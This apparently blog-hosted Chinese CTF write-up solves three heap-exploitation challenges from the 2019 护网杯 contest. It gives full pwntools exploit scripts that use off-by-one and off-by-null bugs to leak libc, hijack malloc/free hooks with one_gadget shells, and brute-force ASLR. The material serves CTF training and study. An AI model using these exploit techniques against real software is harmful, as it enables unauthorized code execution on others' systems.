2019护网杯_pwn

题目地址:https://github.com/hacker-mao/ctf_repo/tree/master/%E6%8A%A4%E7%BD%91%E6%9D%AF2019/pwn

一共4道题,比赛时间太短,赛后花了一天时间弄出3道,继续

mergeheap

  • libc2.27,典型的tcache题目,程序的漏洞在于off by one
  • 当分配的堆块占用了下一chunk的pre_size位时,strcpy的时候会将下一chunk的size也复制,再配合strcat会溢出一个字节

  • 首先先填满tcache,为了下一次free时候将会放入unsorted bin中,然后构造4个不和填充tcache的chunk大小一样的chunk,注意chunk1和chunk2的大小要等于chunk0,为了等下构造堆溢出

#填满tcache
for i in range(7):
    add(0x80,str(i))

for i in range(7):
    dele(i)


add(0x78,'a') #0
add(0x38,'b'*0x38) #1
add(0x40,'d'*0x3f+'\x91') #2
add(0x60,'c') #3
  • 接着释放chunk0,合并chunk1和chunk2到chunk0的位置,并且会触发off by one修改chunk1的size为0x91
dele(0)
merge(1,2) #0
  • 然后把chunk1 free掉会得到一块0x90的bins,但由于0x90的tcache事先被填充满了,所以会放入unsorted bin中,然后我们再分配一块0x30大小的chunk,libc会从刚刚的unsorted bin中切割一部分,这时候剩下的unsorted bin刚好落入chunk2上,打印chunk2就可以泄漏libc,进而得到free_hook地址和one_gadget地址
dele(1)
add(0x30,'d') #1
show(2)
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak_libc : 0x%x',leak_libc)
libc_base = leak_libc - 96 - 0x3ebc40
info('libc_base : 0x%x',libc_base)
free_hook = libc_base + 0x3ed8e8 
one_gadget = libc_base + 0x4f322
  • 紧接着重复类似上面的操作
#清空unsorted bin
add(0x40,'1')

add(0x68,'aa')  #5
add(0x28,'b'*0x38)  #6
add(0x40,'d'*0x3f+'\x81')  #7
add(0x60,'c') #8
  • 依然利用off by one修改chunk_size
dele(5)
merge(6,7) #5
  • free 掉chunk6,再free掉chunk7,再malloc一个0x70的chunk就会分配到chunk6的位置,这时候就可以对chunk7进行uaf利用,修改fd指针指向free_hook,然后改为one_gadget
#hijack free_hook -> one_gadget
dele(6)
dele(7)

add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook))
add(0x40,'b')
add(0x40,p64(one_gadget))
dele(0)

完整exp:

#coding:utf-8
from pwn import *
context.log_level = 'debug'

p = process('./mergeheap')
#p = remote('49.232.101.96',51582)

def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def se(x):
    p.send(x)

def add(size,content):
    ru('>>')
    sl('1')
    ru('len:')
    sl(str(size))
    ru('content:')
    sl(content)

def show(idx):
    ru('>>')
    sl('2')
    ru('idx:')
    sl(str(idx))

def dele(idx):
    ru('>>')
    sl('3')
    ru('idx:')
    sl(str(idx))


def merge(idx_1,idx_2):
    ru('>>')
    sl('4')
    ru('idx1:')
    sl(str(idx_1))
    ru('idx2:')
    sl(str(idx_2))

#填满tcache
for i in range(7):
    add(0x80,str(i))

for i in range(7):
    dele(i)


add(0x78,'a') #0
add(0x38,'b'*0x38) #1
add(0x40,'d'*0x3f+'\x91') #2
add(0x60,'c') #3

#----------------------------------

dele(0)
merge(1,2) #0

#----------------------------------

dele(1)
add(0x30,'d') #1
show(2)
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak_libc : 0x%x',leak_libc)
libc_base = leak_libc - 96 - 0x3ebc40
info('libc_base : 0x%x',libc_base)
free_hook = libc_base + 0x3ed8e8 
one_gadget = libc_base + 0x4f322

#----------------------------------

#清空unsorted bin
add(0x40,'1')

add(0x68,'aa')  #5
add(0x28,'b'*0x38)  #6
add(0x40,'d'*0x3f+'\x81')  #7
add(0x60,'c') #8

#----------------------------------

dele(5)
merge(6,7) #5

#----------------------------------
#hijack free_hook -> one_gadget
dele(6)
dele(7)

add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook))
add(0x40,'b')
add(0x40,p64(one_gadget))
#trigger one_gadget
dele(0)

#----------------------------------
#gdb.attach(p)


p.interactive()

silentheap

  • 这题主要考验细心程度吧,漏洞点在dele里。第二次循环没有到9,因此假如输入idx为9,就会直接把ptr[9] free掉,然后把flag[9]置0
  • 如果我们将ptr[9]分配一个0x360的堆块,原先的flag值是2,经过dele(9)后,它的值会变成0,这时候执行case3的函数时,将会调用(ptr[index]+0x554)这个地址的函数,而我们可以通过修改aThouWhoArtDark来构造一个地址,相当于任意地址执行,但我们不知道one_gadget地址,由于题目是32位的,发现one_gadget地址每次只会变动2个字节,于是可以爆破2字节去执行one_gadget地址,概率是1/256,试了下还挺快的
#开了alsr运行了几次的one_gadget地址
0xf75a6c69
0xf754dc69
0xf7570c69
0xf7583c69

exp:

#coding:utf-8
from pwn import *
context.log_level = 'debug'




def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def se(x):
    p.send(x)


def new():
    sl('1')

def new_1():
    sl('2')

def zhixinghanshu(index,cont1,cont2):
    sl('3')
    sl(str(index))
    sl(cont1)
    sl(cont2)

def dele(index):
    sl('4')
    sl(str(index))

def edit(choice,cont):
    sl('5')
    sl(str(choice))
    sl(cont)


def pwn_it():

    for i in range(9):
        new()

    one_gadget = 0xf75a9c5c
    #one_gadget = 0xf7e3fc5c
    #fake chunk -> *(ptr[index]+0x55*4)
    pay = 'a'*(0x54*4) + p32(one_gadget)
    edit(2,pay)
    new_1()
    dele(9)

    #gdb.attach(p)
    zhixinghanshu(9,'1','2')
    #0xf75a6c69
    #0xf754dc69
    #0xf7570c69
    #0xf7583c69
    
    p.sendline('ls')
    p.sendline('ls')
    data = p.recv()
    if (data):
        p.interactive()


if __name__ == '__main__':
    
    while True:
        try:
            p = process('./silentheap')
            pwn_it()
        except Exception as e:
            p.close()
        finally:
            p.close()

pwn2

  • 这题与hctf2018的heapstorm zero十分像,所以参考了它的wp之后做出来了

  • 这题漏洞点在于off by null,而且题目限制了chunk只能0x58大小,如果只是 fastbin 的话 off by null 是没法利用的,但是这里有个小tips,使用 scanf 获取内容时,如果 输入字符串比较长会调用 malloc 来分配内存。

  • 在 malloc 分配内存时,首先会一次扫描一遍 fastbin , smallbin , unsorted bin ,largebin, 如果都找不到可以分配的 chunk 分配给用户 , 会进入 top_chunk 分配的流程, 如果此时还有fastbin ,就会触发堆合并机制,把 fastbin 合并 之后放入 smallbin,再看能否分配,不能的话会使用 top_chunk 进行分配。

  • 于是利用 scanf 能分配大内存的特性,我们可以触发 堆合并,然后让 fastbin 合并成一个smallbin , 然后在触发 off-by-null , 就是常规的利用思路了。

  • 先构造好堆的分布,以便后续利用,其中chunk1,chunk2,chunk3,chunk4的size之和要为0x110为了后续的off by null操作
add_flo(0x58,0,'a')
add_flo(0x30,1,'b')
add_flo(0x30,2,'c')
add_flo(0x40,3,'d')
add_flo(0x30,4,p64(8)*4+p64(0x100)+p64(0x10))
add_flo(0x30,5,'e')
remove_flo(5)
add_flo(0x10,5,'e') #保留块, 防止和 top chunk 合并
add_flo(0x30,5,'e') 
  • 然后释放chunk1-5,再利用scanf触发fastbin合并为small bin,所以现在得到了一块大小为0x110的small bin
for i in range(1,5):
    remove_flo(i)

triger_consolidate()

  • 释放chunk0,再分配chunk0,利用off by null修改chunk1的size为0x100
remove_flo(0)
add_flo(0x58,0,'a'*0x58)

  • 通过对small bin的4次切割,再次分配4个chunk
add_flo(0x10,1,'a')
add_flo(0x30,2,'b')
add_flo(0x30,3,'\x78')
add_flo(0x50,4,'d')
  • 然后我们释放chunk1,chunk2,并通过scanf让他们合并为small bin,再通过释放chunk5与scanf来触发unlink机制,通过 extend 前向 overlapping,得到一个包含chunk3和chunk4的大small bin,具体原理可以看http://blog.eonew.cn/archives/546#_free_smallbin_extend
remove_flo(1)
remove_flo(2)
triger_consolidate()
remove_flo(5)
triger_consolidate()
  • 由于chunk3之前保留了small bin分配下来的指针,所以通过chunk3泄漏libc,从而得到其他地址
#leak libc
show_flo(3)
ru('flowers : ')
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak libc : 0x%x'%leak_libc)
libc_base = leak_libc - 88 - 0x3c4b20
info('libc base  : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3c4b10 - 0x28
main_arena = libc_base + 0x3c4b38 - 0x8
one_gadget = libc_base + 0xf02a4
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
realloc = libc_base + libc.symbols['__libc_realloc']
  • 将chunk3,chunk4也释放,得到两个fastbin ,通过切割大small bin,使得到的堆块能够修改fastbin的fd指针
remove_flo(3)
remove_flo(4)

for i in range(2):
    add_flo(0x10,1,'1111')

pay = p64(0)*3 + p64(0x41) + p64(0x61)
add_flo(0x40,2,pay)

pay = p64(0) + p64(0x61) + p64(main_arena)
add_flo(0x20,3,pay)
  • malloc一个0x30的堆块会从fastbin中取出,此时fastbin只剩下0x61
add_flo(0x30,2,'2') #消除0x40 fastbin
  • 于是我们可以分配堆块到main_arena中,然后去修改top_chunk到realloc_hook前面
add_flo(0x58,3,'3')
add_flo(0x58,3,p64(0)*7+p64(realloc_hook))
  • 接着先分配堆块清除unsorted bin,然后分配堆块到realloc_hook,修改realloc_hook 为 one_gadget,malloc_hook为realloc函数+0x14地址处,通过malloc函数来触发one_gadget
for i in range(3):
    add_flo(0x20,'1','1')
pay = p64(0)*2 + p64(one_gadget) + p64(realloc+0x14)
add_flo(0x40,3,pay)

ru('choice >> \n')
sl('1')
ru('of Size : ')
sl('10')    
ru('index: ')
sl('0')
  • 这里是因为直接改malloc_hook为one_gadget不满足条件,所以无法getshell,才通过malloc_hook调用realloc_hook的方法,通过通过改realloc函数偏移的方法微调来满足one_gadget的条件

完整exp

#coding:utf-8
from pwn import *
context.log_level = 'debug'


p = process('./pwn 2')

def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def se(x):
    p.send(x)


def add_flo(size,index,name):
    ru('choice >> \n')
    sl('1')
    ru('of Size : ')
    sl(str(size))
    ru('index: ')
    sl(str(index))
    ru(' name:')
    se(name)

def remove_flo(index):
    ru('choice >> \n')
    sl('2')
    ru('input idx :')
    sl(str(index))

def show_flo(index):
    ru('choice >> \n')
    sl('3')
    ru('Input idx : \n')
    sl(str(index))

def triger_consolidate():
    ru('choice >> \n')
    sl('1'*0x400)


add_flo(0x58,0,'a')
add_flo(0x30,1,'b')
add_flo(0x30,2,'c')
add_flo(0x40,3,'d')
add_flo(0x30,4,p64(0)*4+p64(0x100)+p64(0x10))
add_flo(0x30,5,'e')
remove_flo(5)
add_flo(0x10,5,'e') #保留块, 防止和 top chunk 合并
add_flo(0x30,5,'e') 

#----------------------------

for i in range(1,5):
    remove_flo(i)

triger_consolidate()

#----------------------------

remove_flo(0)
add_flo(0x58,0,'a'*0x58)

#----------------------------

add_flo(0x10,1,'a')
add_flo(0x30,2,'b')
add_flo(0x30,3,'\x78')
add_flo(0x50,4,'d')

#----------------------------

remove_flo(1)
remove_flo(2)
triger_consolidate()
remove_flo(5)
triger_consolidate()

#----------------------------

#leak libc
show_flo(3)
ru('flowers : ')
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak libc : 0x%x'%leak_libc)
libc_base = leak_libc - 88 - 0x3c4b20
info('libc base  : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3c4b10 - 0x28
main_arena = libc_base + 0x3c4b38 - 0x8
one_gadget = libc_base + 0xf02a4
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
realloc = libc_base + libc.symbols['__libc_realloc']

#----------------------------

remove_flo(3)
remove_flo(4)

for i in range(2):
    add_flo(0x10,1,'1111')

pay = p64(0)*3 + p64(0x41) + p64(0x61)
add_flo(0x40,2,pay)

pay = p64(0) + p64(0x61) + p64(main_arena)
add_flo(0x20,3,pay)

#----------------------------

add_flo(0x30,2,'2') #消除0x40 fastbin
add_flo(0x58,3,'3')
add_flo(0x58,3,p64(0)*7+p64(realloc_hook))

#----------------------------

for i in range(3):
    add_flo(0x20,'1','1')
pay = p64(0)*2 + p64(one_gadget) + p64(realloc+0x14)
add_flo(0x40,3,pay)


#----------------------------

#gdb.attach(p)
#trigger one_gadget
ru('choice >> \n')
sl('1')
ru('of Size : ')
sl('10')    
ru('index: ')
sl('0')



p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 162,306评论 4 370
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 68,657评论 2 307
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 111,928评论 0 254
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,688评论 0 220
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 53,105评论 3 295
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 41,024评论 1 225
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 32,159评论 2 318
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,937评论 0 212
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,689评论 1 250
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,851评论 2 254
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,325评论 1 265
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,651评论 3 263
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,364评论 3 244
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,192评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,985评论 0 201
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 36,154评论 2 285
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,955评论 2 279

推荐阅读更多精彩内容